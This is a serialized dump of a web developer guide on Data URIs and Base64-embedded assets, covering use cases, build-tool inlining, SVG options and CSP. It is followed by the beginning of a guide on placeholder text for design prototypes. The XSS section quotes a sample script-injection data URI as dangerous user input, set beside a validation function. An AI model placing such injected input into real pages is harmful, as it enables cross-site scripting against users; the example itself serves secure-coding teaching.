-->\n",[1560,274738,274739,274741,274743,274745,274747,274750,274752,274754,274756],{"class":1562,"line":337},[1560,274740,6431],{"class":1570},[1560,274742,10628],{"class":2484},[1560,274744,10631],{"class":1566},[1560,274746,7297],{"class":1570},[1560,274748,274749],{"class":5634},"\"data:image\u002Fpng;base64,...\"",[1560,274751,12889],{"class":1566},[1560,274753,7297],{"class":1570},[1560,274755,126554],{"class":5634},[1560,274757,6441],{"class":1570},[16,274759,274760,274763],{},[47,274761,274762],{},"3. One-Time Use Assets","\nIf an image appears only on one page and is very small, embedding can reduce requests.",[16,274765,274766],{},[47,274767,274768],{},"4. SVG Icons (with caveats)",[135,274770,274772],{"className":6417,"code":274771,"language":6419,"meta":141,"style":141},"\u003C!-- Simple SVG icons can be inlined -->\n\u003Csvg viewBox=\"0 0 24 24\">\n  \u003Cpath d=\"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2z\"\u002F>\n\u003C\u002Fsvg>\n\u003C!-- Or as Data URI for CSS background -->\n",[143,274773,274774,274779,274793,274808,274816],{"__ignoreMap":141},[1560,274775,274776],{"class":1562,"line":1563},[1560,274777,274778],{"class":1649},"\u003C!-- Simple SVG icons can be inlined -->\n",[1560,274780,274781,274783,274785,274787,274789,274791],{"class":1562,"line":337},[1560,274782,6431],{"class":1570},[1560,274784,11192],{"class":2484},[1560,274786,11195],{"class":1566},[1560,274788,7297],{"class":1570},[1560,274790,11200],{"class":5634},[1560,274792,6441],{"class":1570},[1560,274794,274795,274797,274799,274801,274803,274806],{"class":1562,"line":343},[1560,274796,11223],{"class":1570},[1560,274798,11226],{"class":2484},[1560,274800,11229],{"class":1566},[1560,274802,7297],{"class":1570},[1560,274804,274805],{"class":5634},"\"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2z\"",[1560,274807,11237],{"class":1570},[1560,274809,274810,274812,274814],{"class":1562,"line":365},[1560,274811,11242],{"class":1570},[1560,274813,11192],{"class":2484},[1560,274815,6441],{"class":1570},[1560,274817,274818],{"class":1562,"line":889},[1560,274819,274820],{"class":1649},"\u003C!-- Or as Data URI for CSS background -->\n",[16,274822,274823,274826],{},[47,274824,274825],{},"5. Offline-First Applications","\nWhen building offline-capable apps where every asset must be self-contained.",[33,274828,274830],{"id":274829},"bad-use-cases","❌ Bad Use Cases",[16,274832,274833],{},[47,274834,274835],{},"1. Large Images",[135,274837,274839],{"className":6417,"code":274838,"language":6419,"meta":141,"style":141},"\u003C!-- DON'T DO THIS -->\n\u003Cimg src=\"data:image\u002Fjpeg;base64,\u002F9j\u002F4AAQSkZJRgABAQAAAQ...[500KB of Base64]...\">\n\u003C!-- Use an external file instead -->\n\u003Cimg src=\"photo.jpg\">\n",[143,274840,274841,274846,274861,274866],{"__ignoreMap":141},[1560,274842,274843],{"class":1562,"line":1563},[1560,274844,274845],{"class":1649},"\u003C!-- DON'T DO THIS -->\n",[1560,274847,274848,274850,274852,274854,274856,274859],{"class":1562,"line":337},[1560,274849,6431],{"class":1570},[1560,274851,10628],{"class":2484},[1560,274853,10631],{"class":1566},[1560,274855,7297],{"class":1570},[1560,274857,274858],{"class":5634},"\"data:image\u002Fjpeg;base64,\u002F9j\u002F4AAQSkZJRgABAQAAAQ...[500KB of Base64]...\"",[1560,274860,6441],{"class":1570},[1560,274862,274863],{"class":1562,"line":343},[1560,274864,274865],{"class":1649},"\u003C!-- Use an external file instead -->\n",[1560,274867,274868,274870,274872,274874,274876,274879],{"class":1562,"line":365},[1560,274869,6431],{"class":1570},[1560,274871,10628],{"class":2484},[1560,274873,10631],{"class":1566},[1560,274875,7297],{"class":1570},[1560,274877,274878],{"class":5634},"\"photo.jpg\"",[1560,274880,6441],{"class":1570},[16,274882,274883,274886],{},[47,274884,274885],{},"2. Repeated Assets","\nIf the same image appears on multiple pages, use an external file for caching.",[16,274888,274889,274892],{},[47,274890,274891],{},"3. Frequently Changing Assets","\nIf you update the image often, you'd need to update every file that embeds it.",[16,274894,274895],{},[47,274896,274897],{},"4. Font Files (Usually)",[135,274899,274901],{"className":1554,"code":274900,"language":1556,"meta":141,"style":141},"\u002F* AVOID for large font files *\u002F\n@font-face {\n  src: url('data:font\u002Fwoff2;base64,...') format('woff2');\n}\n\u002F* Use external file with cache *\u002F\n",[143,274902,274903,274908,274914,274937,274941],{"__ignoreMap":141},[1560,274904,274905],{"class":1562,"line":1563},[1560,274906,274907],{"class":1649},"\u002F* AVOID for large font files *\u002F\n",[1560,274909,274910,274912],{"class":1562,"line":337},[1560,274911,54240],{"class":1669},[1560,274913,1571],{"class":1570},[1560,274915,274916,274918,274920,274922,274924,274927,274929,274931,274933,274935],{"class":1562,"line":343},[1560,274917,130162],{"class":1576},[1560,274919,1663],{"class":1570},[1560,274921,11310],{"class":1576},[1560,274923,1688],{"class":1570},[1560,274925,274926],{"class":5634},"'data:font\u002Fwoff2;base64,...'",[1560,274928,1733],{"class":1570},[1560,274930,88484],{"class":1576},[1560,274932,1688],{"class":1570},[1560,274934,274562],{"class":5634},[1560,274936,1744],{"class":1570},[1560,274938,274939],{"class":1562,"line":365},[1560,274940,1585],{"class":1570},[1560,274942,274943],{"class":1562,"line":889},[1560,274944,274945],{"class":1649},"\u002F* Use external file with cache *\u002F\n",[11,274947,79407],{"id":79406},[33,274949,274951],{"id":274950},"the-2kb-rule","The 2KB Rule",[16,274953,274954,274955,274958],{},"As a general rule, only embed assets smaller than ",[47,274956,274957],{},"2KB"," as Data URIs. Beyond that size, the benefits of caching and separate HTTP requests outweigh the request reduction.",[33,274960,274962],{"id":274961},"use-build-tools-for-optimization","Use Build Tools for Optimization",[16,274964,274965],{},"Modern build tools can automatically decide what to embed:",[16,274967,274968],{},[47,274969,274970],{},"Webpack (url-loader + limit):",[135,274972,274974],{"className":1607,"code":274973,"language":1609,"meta":141,"style":141},"\u002F\u002F webpack.config.js\nmodule.exports = {\n  module: {\n    rules: [\n      {\n        test: \u002F\\.(png|jpg|gif)$\u002F,\n        use: [\n          {\n            loader: 'url-loader',\n            options: {\n              limit: 2048, \u002F\u002F 2KB - embed if smaller, else file\n              name: 'images\u002F[name].[hash].[ext]'\n            }\n          }\n        ]\n      }\n    ]\n  }\n};\n",[143,274975,274976,274980,274992,274996,275000,275005,275031,275036,275041,275051,275056,275068,275076,275081,275086,275091,275095,275099,275103],{"__ignoreMap":141},[1560,274977,274978],{"class":1562,"line":1563},[1560,274979,11880],{"class":1649},[1560,274981,274982,274984,274986,274988,274990],{"class":1562,"line":337},[1560,274983,11885],{"class":1576},[1560,274985,468],{"class":1570},[1560,274987,11890],{"class":1576},[1560,274989,8186],{"class":1669},[1560,274991,1571],{"class":1570},[1560,274993,274994],{"class":1562,"line":343},[1560,274995,11899],{"class":1570},[1560,274997,274998],{"class":1562,"line":365},[1560,274999,20708],{"class":1570},[1560,275001,275002],{"class":1562,"line":889},[1560,275003,275004],{"class":1570},"      {\n",[1560,275006,275007,275010,275012,275014,275016,275018,275020,275022,275025,275027,275029],{"class":1562,"line":1710},[1560,275008,275009],{"class":1570},"        test:",[1560,275011,11912],{"class":5634},[1560,275013,11916],{"class":11915},[1560,275015,11920],{"class":11919},[1560,275017,7334],{"class":1669},[1560,275019,11925],{"class":11919},[1560,275021,7334],{"class":1669},[1560,275023,275024],{"class":11919},"gif)",[1560,275026,11938],{"class":1669},[1560,275028,9423],{"class":5634},[1560,275030,11943],{"class":1570},[1560,275032,275033],{"class":1562,"line":1717},[1560,275034,275035],{"class":1570},"        use: [\n",[1560,275037,275038],{"class":1562,"line":1747},[1560,275039,275040],{"class":1570},"          {\n",[1560,275042,275043,275046,275049],{"class":1562,"line":2507},[1560,275044,275045],{"class":1570},"            loader: ",[1560,275047,275048],{"class":5634},"'url-loader'",[1560,275050,11943],{"class":1570},[1560,275052,275053],{"class":1562,"line":2524},[1560,275054,275055],{"class":1570},"            options: {\n",[1560,275057,275058,275061,275063,275065],{"class":1562,"line":2529},[1560,275059,275060],{"class":1570},"              limit: ",[1560,275062,11852],{"class":1576},[1560,275064,1459],{"class":1570},[1560,275066,275067],{"class":1649},"\u002F\u002F 2KB - embed if smaller, else file\n",[1560,275069,275070,275073],{"class":1562,"line":2534},[1560,275071,275072],{"class":1570},"              name: ",[1560,275074,275075],{"class":5634},"'images\u002F[name].[hash].[ext]'\n",[1560,275077,275078],{"class":1562,"line":2542},[1560,275079,275080],{"class":1570},"            }\n",[1560,275082,275083],{"class":1562,"line":2558},[1560,275084,275085],{"class":1570},"          }\n",[1560,275087,275088],{"class":1562,"line":2570},[1560,275089,275090],{"class":1570},"        ]\n",[1560,275092,275093],{"class":1562,"line":6638},[1560,275094,28244],{"class":1570},[1560,275096,275097],{"class":1562,"line":11615},[1560,275098,50049],{"class":1570},[1560,275100,275101],{"class":1562,"line":11621},[1560,275102,4959],{"class":1570},[1560,275104,275105],{"class":1562,"line":11633},[1560,275106,6607],{"class":1570},[16,275108,275109],{},[47,275110,275111],{},"Vite (built-in asset handling):",[135,275113,275115],{"className":1607,"code":275114,"language":1609,"meta":141,"style":141},"\u002F\u002F Vite automatically inlines assets below a threshold\n\u002F\u002F config: build.assetsInlineLimit (default: 4096 bytes)\n",[143,275116,275117,275122],{"__ignoreMap":141},[1560,275118,275119],{"class":1562,"line":1563},[1560,275120,275121],{"class":1649},"\u002F\u002F Vite automatically inlines assets below a threshold\n",[1560,275123,275124],{"class":1562,"line":337},[1560,275125,275126],{"class":1649},"\u002F\u002F config: build.assetsInlineLimit (default: 4096 bytes)\n",[33,275128,275130],{"id":275129},"svg-special-considerations","SVG: Special Considerations",[16,275132,275133],{},"For SVG images, you have three options:",[135,275135,275137],{"className":6417,"code":275136,"language":6419,"meta":141,"style":141},"\u003C!-- Option 1: Inline SVG (best for icons, interactive graphics) -->\n\u003Csvg viewBox=\"0 0 24 24\">\n  \u003Cpath d=\"...\"\u002F>\n\u003C\u002Fsvg>\n\n\u003C!-- Option 2: Data URI with Base64 -->\n\u003Cimg src=\"data:image\u002Fsvg+xml;base64,PHN2ZyB4bWxucz0...\">\n\n\u003C!-- Option 3: Data URI with URL-encoded SVG (smaller than Base64) -->\n\u003Cimg src=\"data:image\u002Fsvg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3C%2Fsvg%3E\">\n",[143,275138,275139,275144,275158,275173,275181,275185,275190,275205,275209,275214],{"__ignoreMap":141},[1560,275140,275141],{"class":1562,"line":1563},[1560,275142,275143],{"class":1649},"\u003C!-- Option 1: Inline SVG (best for icons, interactive graphics) -->\n",[1560,275145,275146,275148,275150,275152,275154,275156],{"class":1562,"line":337},[1560,275147,6431],{"class":1570},[1560,275149,11192],{"class":2484},[1560,275151,11195],{"class":1566},[1560,275153,7297],{"class":1570},[1560,275155,11200],{"class":5634},[1560,275157,6441],{"class":1570},[1560,275159,275160,275162,275164,275166,275168,275171],{"class":1562,"line":343},[1560,275161,11223],{"class":1570},[1560,275163,11226],{"class":2484},[1560,275165,11229],{"class":1566},[1560,275167,7297],{"class":1570},[1560,275169,275170],{"class":5634},"\"...\"",[1560,275172,11237],{"class":1570},[1560,275174,275175,275177,275179],{"class":1562,"line":365},[1560,275176,11242],{"class":1570},[1560,275178,11192],{"class":2484},[1560,275180,6441],{"class":1570},[1560,275182,275183],{"class":1562,"line":889},[1560,275184,1702],{"emptyLinePlaceholder":363},[1560,275186,275187],{"class":1562,"line":1710},[1560,275188,275189],{"class":1649},"\u003C!-- Option 2: Data URI with Base64 -->\n",[1560,275191,275192,275194,275196,275198,275200,275203],{"class":1562,"line":1717},[1560,275193,6431],{"class":1570},[1560,275195,10628],{"class":2484},[1560,275197,10631],{"class":1566},[1560,275199,7297],{"class":1570},[1560,275201,275202],{"class":5634},"\"data:image\u002Fsvg+xml;base64,PHN2ZyB4bWxucz0...\"",[1560,275204,6441],{"class":1570},[1560,275206,275207],{"class":1562,"line":1747},[1560,275208,1702],{"emptyLinePlaceholder":363},[1560,275210,275211],{"class":1562,"line":2507},[1560,275212,275213],{"class":1649},"\u003C!-- Option 3: Data URI with URL-encoded SVG (smaller than Base64) -->\n",[1560,275215,275216,275218,275220,275222,275224,275227],{"class":1562,"line":2524},[1560,275217,6431],{"class":1570},[1560,275219,10628],{"class":2484},[1560,275221,10631],{"class":1566},[1560,275223,7297],{"class":1570},[1560,275225,275226],{"class":5634},"\"data:image\u002Fsvg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3C%2Fsvg%3E\"",[1560,275228,6441],{"class":1570},[16,275230,275231],{},"URL-encoded SVG is often smaller than Base64-encoded SVG for simple graphics.",[11,275233,102598],{"id":102597},[33,275235,231315],{"id":231314},[16,275237,275238],{},"Data URIs may be blocked by strict CSP policies:",[135,275240,275242],{"className":185075,"code":275241,"language":185077,"meta":141,"style":141},"# This policy blocks Data URIs for images\nContent-Security-Policy: default-src 'self'; img-src 'self'\n\n# To allow Data URIs (less secure):\nContent-Security-Policy: default-src 'self'; img-src 'self' data:\n",[143,275243,275244,275249,275254,275258,275263],{"__ignoreMap":141},[1560,275245,275246],{"class":1562,"line":1563},[1560,275247,275248],{},"# This policy blocks Data URIs for images\n",[1560,275250,275251],{"class":1562,"line":337},[1560,275252,275253],{},"Content-Security-Policy: default-src 'self'; img-src 'self'\n",[1560,275255,275256],{"class":1562,"line":343},[1560,275257,1702],{"emptyLinePlaceholder":363},[1560,275259,275260],{"class":1562,"line":365},[1560,275261,275262],{},"# To allow Data URIs (less secure):\n",[1560,275264,275265],{"class":1562,"line":889},[1560,275266,275267],{},"Content-Security-Policy: default-src 'self'; img-src 'self' data:\n",[33,275269,275271],{"id":275270},"xss-risks","XSS Risks",[16,275273,275274],{},"Never allow user-supplied data to be embedded as Data URIs without proper validation:",[135,275276,275278],{"className":1607,"code":275277,"language":1609,"meta":141,"style":141},"\u002F\u002F DANGEROUS: User-supplied Data URI\nconst userInput = req.body.avatar; \u002F\u002F \"data:text\u002Fhtml,\u003Cscript>alert('xss')\u003C\u002Fscript>\"\ndocument.getElementById('avatar').src = userInput; \u002F\u002F XSS!\n\n\u002F\u002F SAFE: Validate the Data URI\nfunction isValidImageDataUri(uri) {\n  return \u002F^data:image\\\u002F(png|jpeg|gif|webp|svg\\+xml);base64,\u002F.test(uri);\n}\n",[143,275279,275280,275285,275300,275321,275325,275330,275344,275391],{"__ignoreMap":141},[1560,275281,275282],{"class":1562,"line":1563},[1560,275283,275284],{"class":1649},"\u002F\u002F DANGEROUS: User-supplied Data URI\n",[1560,275286,275287,275289,275292,275294,275297],{"class":1562,"line":337},[1560,275288,8180],{"class":1669},[1560,275290,275291],{"class":1576}," userInput",[1560,275293,8186],{"class":1669},[1560,275295,275296],{"class":1570}," req.body.avatar; ",[1560,275298,275299],{"class":1649},"\u002F\u002F \"data:text\u002Fhtml,\u003Cscript>alert('xss')\u003C\u002Fscript>\"\n",[1560,275301,275302,275304,275306,275308,275311,275313,275315,275318],{"class":1562,"line":343},[1560,275303,11641],{"class":1570},[1560,275305,102436],{"class":1566},[1560,275307,1688],{"class":1570},[1560,275309,275310],{"class":5634},"'avatar'",[1560,275312,197164],{"class":1570},[1560,275314,7297],{"class":1669},[1560,275316,275317],{"class":1570}," userInput; ",[1560,275319,275320],{"class":1649},"\u002F\u002F XSS!\n",[1560,275322,275323],{"class":1562,"line":365},[1560,275324,1702],{"emptyLinePlaceholder":363},[1560,275326,275327],{"class":1562,"line":889},[1560,275328,275329],{"class":1649},"\u002F\u002F SAFE: Validate the Data URI\n",[1560,275331,275332,275334,275337,275339,275342],{"class":1562,"line":1710},[1560,275333,8648],{"class":1669},[1560,275335,275336],{"class":1566}," isValidImageDataUri",[1560,275338,1688],{"class":1570},[1560,275340,275341],{"class":2219},"uri",[1560,275343,9345],{"class":1570},[1560,275345,275346,275348,275350,275352,275355,275357,275359,275361,275364,275366,275368,275370,275373,275375,275377,275379,275382,275384,275386,275388],{"class":1562,"line":1717},[1560,275347,9350],{"class":1669},[1560,275349,11912],{"class":5634},[1560,275351,38799],{"class":1669},[1560,275353,275354],{"class":11919},"data:image",[1560,275356,43130],{"class":11915},[1560,275358,11920],{"class":11919},[1560,275360,7334],{"class":1669},[1560,275362,275363],{"class":11919},"jpeg",[1560,275365,7334],{"class":1669},[1560,275367,11930],{"class":11919},[1560,275369,7334],{"class":1669},[1560,275371,275372],{"class":11919},"webp",[1560,275374,7334],{"class":1669},[1560,275376,11192],{"class":11919},[1560,275378,43106],{"class":11915},[1560,275380,275381],{"class":11919},"xml);base64,",[1560,275383,9423],{"class":5634},[1560,275385,468],{"class":1570},[1560,275387,98998],{"class":1566},[1560,275389,275390],{"class":1570},"(uri);\n",[1560,275392,275393],{"class":1562,"line":1747},[1560,275394,1585],{"class":1570},[11,275396,208883],{"id":161627},[16,275398,275399],{},"Data URIs with Base64 encoding are a useful tool in specific scenarios, but they are not a silver bullet for performance optimization.",[16,275401,275402],{},[47,275403,275404],{},"Use Data URIs when:",[41,275406,275407,275410,275413,275416],{},[44,275408,275409],{},"Assets are very small (\u003C 2KB)",[44,275411,275412],{},"Assets are used only once",[44,275414,275415],{},"Building email templates",[44,275417,275418],{},"HTTP requests are extremely expensive (rare in HTTP\u002F2)",[16,275420,275421],{},[47,275422,275423],{},"Avoid Data URIs when:",[41,275425,275426,275429,275432,275435],{},[44,275427,275428],{},"Assets are large",[44,275430,275431],{},"Assets are reused across pages",[44,275433,275434],{},"You need browser caching",[44,275436,275437],{},"The asset changes frequently",[11,275439,257800],{"id":257799},[41,275441,275442],{},[44,275443,261639,275444],{},[98,275445,12162],{"href":12161},[2043,275447,275448],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .snhLl, html code.shiki .snhLl{--shiki-default:#22863A;--shiki-default-font-weight:bold;--shiki-dark:#85E89D;--shiki-dark-font-weight:bold}html pre.shiki code .sA_wV, html code.shiki .sA_wV{--shiki-default:#032F62;--shiki-dark:#DBEDFF}",{"title":141,"searchDepth":337,"depth":337,"links":275450},[275451,275452,275456,275460,275466,275473,275476,275480,275485,275489,275490],{"id":256641,"depth":337,"text":2776},{"id":273723,"depth":337,"text":273724,"children":275453},[275454,275455],{"id":273730,"depth":343,"text":273731},{"id":273779,"depth":343,"text":96299},{"id":273895,"depth":337,"text":273896,"children":275457},[275458,275459],{"id":273902,"depth":343,"text":273903},{"id":274036,"depth":343,"text":274037},{"id":274364,"depth":337,"text":274365,"children":275461},[275462,275463,275464,275465],{"id":274368,"depth":343,"text":274369},{"id":274381,"depth":343,"text":274382},{"id":274388,"depth":343,"text":274389},{"id":274425,"depth":343,"text":274426},{"id":274432,"depth":337,"text":274433,"children":275467},[275468,275469,275470,275471,275472],{"id":274436,"depth":343,"text":274437},{"id":274455,"depth":343,"text":274456},{"id":274468,"depth":343,"text":274469},{"id":274509,"depth":343,"text":274510},{"id":274576,"depth":343,"text":274577},{"id":26164,"depth":337,"text":26165,"children":275474},[275475],{"id":274666,"depth":343,"text":274667},{"id":274679,"depth":337,"text":274680,"children":275477},[275478,275479],{"id":274683,"depth":343,"text":274684},{"id":274829,"depth":343,"text":274830},{"id":79406,"depth":337,"text":79407,"children":275481},[275482,275483,275484],{"id":274950,"depth":343,"text":274951},{"id":274961,"depth":343,"text":274962},{"id":275129,"depth":343,"text":275130},{"id":102597,"depth":337,"text":102598,"children":275486},[275487,275488],{"id":231314,"depth":343,"text":231315},{"id":275270,"depth":343,"text":275271},{"id":161627,"depth":337,"text":208883},{"id":257799,"depth":337,"text":257800},"Learn Data URI format syntax, how Base64 encoding enables embedded images in HTML and CSS, performance implications, and when to use inline assets.",{"immutable":363},"\u002Fguides\u002Fdata-uri-base64",{"title":273710,"description":275491},"guides\u002Fdata-uri-base64","eN2r_3EqDstNFbl4FOmfUrKS3O3AszZwbrlRiV2WQCk",{"id":275498,"title":275499,"body":275500,"date":257855,"description":275971,"extension":361,"meta":275972,"navigation":363,"path":244336,"readingTime":2507,"seo":275973,"stem":275974,"__hash__":275975},"guides\u002Fguides\u002Fdesign-prototyping-text.md","Design Prototyping: Choosing the Right Dummy Content Strategy",{"type":8,"value":275501,"toc":275950},[275502,275506,275509,275589,275593,275596,275602,275607,275621,275626,275637,275641,275647,275651,275654,275659,275663,275674,275678,275689,275693,275735,275739,275742,275747,275751,275762,275766,275777,275781,275787,275790,275794,275797,275802,275806,275817,275821,275838,275842,275845,275849,275860,275864,275875,275879,275890,275894,275905,275909,275941,275943],[11,275503,275505],{"id":275504},"the-content-strategy-spectrum","The Content Strategy Spectrum",[16,275507,275508],{},"Every design prototype needs text, but the type of text you choose profoundly affects design quality. This guide maps four strategies along a spectrum from fast-and-generic to slow-and-specific.",[193,275510,275511,275528],{},[196,275512,275513],{},[199,275514,275515,275517,275519,275522,275525],{},[202,275516,39330],{},[202,275518,819],{},[202,275520,275521],{},"Fidelity",[202,275523,275524],{},"Bias Risk",[202,275526,275527],{},"Best Stage",[211,275529,275530,275545,275560,275575],{},[199,275531,275532,275535,275538,275540,275542],{},[216,275533,275534],{},"Pure Lorem Ipsum",[216,275536,275537],{},"⚡⚡⚡",[216,275539,15466],{},[216,275541,22317],{},[216,275543,275544],{},"Wireframe",[199,275546,275547,275550,275553,275555,275557],{},[216,275548,275549],{},"Domain-Specific",[216,275551,275552],{},"⚡⚡",[216,275554,7639],{},[216,275556,15466],{},[216,275558,275559],{},"Mockup",[199,275561,275562,275565,275568,275570,275572],{},[216,275563,275564],{},"Semi-Real",[216,275566,275567],{},"⚡",[216,275569,15446],{},[216,275571,7639],{},[216,275573,275574],{},"High-fi prototype",[199,275576,275577,275580,275582,275584,275586],{},[216,275578,275579],{},"AI-Generated",[216,275581,275552],{},[216,275583,15446],{},[216,275585,15446],{},[216,275587,275588],{},"Content draft",[11,275590,275592],{"id":275591},"strategy-1-pure-lorem-ipsum","Strategy 1: Pure Lorem Ipsum",[16,275594,275595],{},"The classic approach. Random Latin words arranged into paragraphs that look like text but carry no meaning.",[16,275597,275598,275601],{},[47,275599,275600],{},"When to use:"," Early wireframes, layout exploration, component libraries.",[16,275603,275604],{},[47,275605,275606],{},"Advantages:",[41,275608,275609,275612,275618],{},[44,275610,275611],{},"Zero content bias — reviewers focus on layout, not wording",[44,275613,275614,275615,275617],{},"Fast — our ",[98,275616,6789],{"href":6788}," creates any length instantly",[44,275619,275620],{},"Universal — no language barrier for international teams",[16,275622,275623],{},[47,275624,275625],{},"Disadvantages:",[41,275627,275628,275631,275634],{},[44,275629,275630],{},"Hides content-length problems — real text is rarely uniform",[44,275632,275633],{},"Delays content strategy — teams procrastinate on actual writing",[44,275635,275636],{},"Creates \"content surprise\" — final content breaks layouts",[33,275638,275640],{"id":275639},"tips-for-better-lorem-ipsum","Tips for Better Lorem Ipsum",[135,275642,275645],{"className":275643,"code":275644,"language":140},[138],"❌ Same length everywhere:\n   Heading: Lorem ipsum dolor sit amet\n   Body: Lorem ipsum dolor sit amet, consectetur adipiscing elit...\n\n✅ Varied lengths reflecting real content:\n   Hero heading: [5-7 words]\n   Hero body: [20-30 words]\n   Card title: [2-4 words]\n   Card description: [15-25 words]\n",[143,275646,275644],{"__ignoreMap":141},[11,275648,275650],{"id":275649},"strategy-2-domain-specific-placeholder","Strategy 2: Domain-Specific Placeholder",[16,275652,275653],{},"Text that uses vocabulary from the actual domain without being real content. For a finance app: \"Your portfolio balance shows growth across equity holdings.\"",[16,275655,275656,275658],{},[47,275657,275600],{}," Mid-fidelity mockups, stakeholder presentations where context matters.",[16,275660,275661],{},[47,275662,275606],{},[41,275664,275665,275668,275671],{},[44,275666,275667],{},"Reveals content-length patterns — financial terms are longer than social media terms",[44,275669,275670],{},"Helps reviewers imagine the final product",[44,275672,275673],{},"Surfaces domain-specific requirements (currency formats, date formats)",[16,275675,275676],{},[47,275677,275625],{},[41,275679,275680,275683,275686],{},[44,275681,275682],{},"Takes more time than pure Lorem Ipsum",[44,275684,275685],{},"May bias reviewers toward specific content patterns",[44,275687,275688],{},"Requires domain knowledge",[33,275690,275692],{"id":275691},"quick-domain-vocabulary-lists","Quick Domain Vocabulary Lists",[193,275694,275695,275705],{},[196,275696,275697],{},[199,275698,275699,275702],{},[202,275700,275701],{},"Domain",[202,275703,275704],{},"Sample Vocabulary",[211,275706,275707,275714,275721,275728],{},[199,275708,275709,275711],{},[216,275710,549],{},[216,275712,275713],{},"portfolio, equity, yield, balance, dividend",[199,275715,275716,275718],{},[216,275717,1003],{},[216,275719,275720],{},"patient, diagnosis, prescription, referral",[199,275722,275723,275725],{},[216,275724,21787],{},[216,275726,275727],{},"cart, checkout, inventory, shipping, returns",[199,275729,275730,275732],{},[216,275731,1014],{},[216,275733,275734],{},"curriculum, enrollment, grade, semester",[11,275736,275738],{"id":275737},"strategy-3-semi-real-content","Strategy 3: Semi-Real Content",[16,275740,275741],{},"Carefully crafted text that mirrors the structure and approximate length of final content without being production-ready.",[16,275743,275744,275746],{},[47,275745,275600],{}," High-fidelity prototypes, usability testing, client sign-off.",[16,275748,275749],{},[47,275750,275606],{},[41,275752,275753,275756,275759],{},[44,275754,275755],{},"Most accurate representation of final product",[44,275757,275758],{},"Surfaces all content-related issues before development",[44,275760,275761],{},"Enables meaningful usability testing",[16,275763,275764],{},[47,275765,275625],{},[41,275767,275768,275771,275774],{},[44,275769,275770],{},"Time-intensive to create",[44,275772,275773],{},"May be mistaken for final content",[44,275775,275776],{},"Requires content strategy alignment",[33,275778,275780],{"id":275779},"example-semi-real-vs-lorem","Example: Semi-Real vs Lorem",[135,275782,275785],{"className":275783,"code":275784,"language":140},[138],"Pure Lorem:\n   \"Lorem ipsum dolor sit amet, consectetur adipiscing elit.\n    Sed do eiusmod tempor incididunt ut labore.\"\n\nSemi-Real (for a color tool):\n   \"Convert any color between HEX, RGB, and HSL formats\n    instantly. Paste a value and see all conversions live.\"\n",[143,275786,275784],{"__ignoreMap":141},[16,275788,275789],{},"The semi-real version reveals that the hero text fits on one line, uses active voice, and includes keywords — insights invisible with Lorem Ipsum.",[11,275791,275793],{"id":275792},"strategy-4-ai-generated-content","Strategy 4: AI-Generated Content",[16,275795,275796],{},"Using AI to produce domain-appropriate text that reads naturally.",[16,275798,275799,275801],{},[47,275800,275600],{}," Rapid prototyping when realistic content is needed quickly, content strategy drafts.",[16,275803,275804],{},[47,275805,275606],{},[41,275807,275808,275811,275814],{},[44,275809,275810],{},"Fast production of realistic-looking content",[44,275812,275813],{},"Domain-appropriate vocabulary and tone",[44,275815,275816],{},"Can regenerate until satisfied",[16,275818,275819],{},[47,275820,275625],{},[41,275822,275823,275829,275832,275835],{},[44,275824,275825,275828],{},[47,275826,275827],{},"Highest bias risk"," — AI content feels \"finished,\" discouraging revision",[44,275830,275831],{},"May contain factual errors requiring review",[44,275833,275834],{},"Creates false confidence in content quality",[44,275836,275837],{},"Often too generic — lacks distinctive brand voice",[11,275839,275841],{"id":275840},"the-transition-framework","The Transition Framework",[16,275843,275844],{},"Moving from prototype to production requires a deliberate content transition:",[33,275846,275848],{"id":275847},"phase-1-structure-wireframe","Phase 1: Structure (Wireframe)",[41,275850,275851,275854,275857],{},[44,275852,275853],{},"Use pure Lorem Ipsum",[44,275855,275856],{},"Define content types (hero heading, card description, footer link)",[44,275858,275859],{},"Specify character limits for each type",[33,275861,275863],{"id":275862},"phase-2-context-mockup","Phase 2: Context (Mockup)",[41,275865,275866,275869,275872],{},[44,275867,275868],{},"Switch to domain-specific placeholder",[44,275870,275871],{},"Test with longest and shortest expected values",[44,275873,275874],{},"Verify responsive behavior with varied lengths",[33,275876,275878],{"id":275877},"phase-3-reality-prototype","Phase 3: Reality (Prototype)",[41,275880,275881,275884,275887],{},[44,275882,275883],{},"Replace with semi-real or AI-generated content",[44,275885,275886],{},"Conduct usability testing with realistic text",[44,275888,275889],{},"Finalize content templates for copywriters",[33,275891,275893],{"id":275892},"phase-4-production","Phase 4: Production",[41,275895,275896,275899,275902],{},[44,275897,275898],{},"Professional copywriting replaces all placeholders",[44,275900,275901],{},"SEO optimization for public-facing 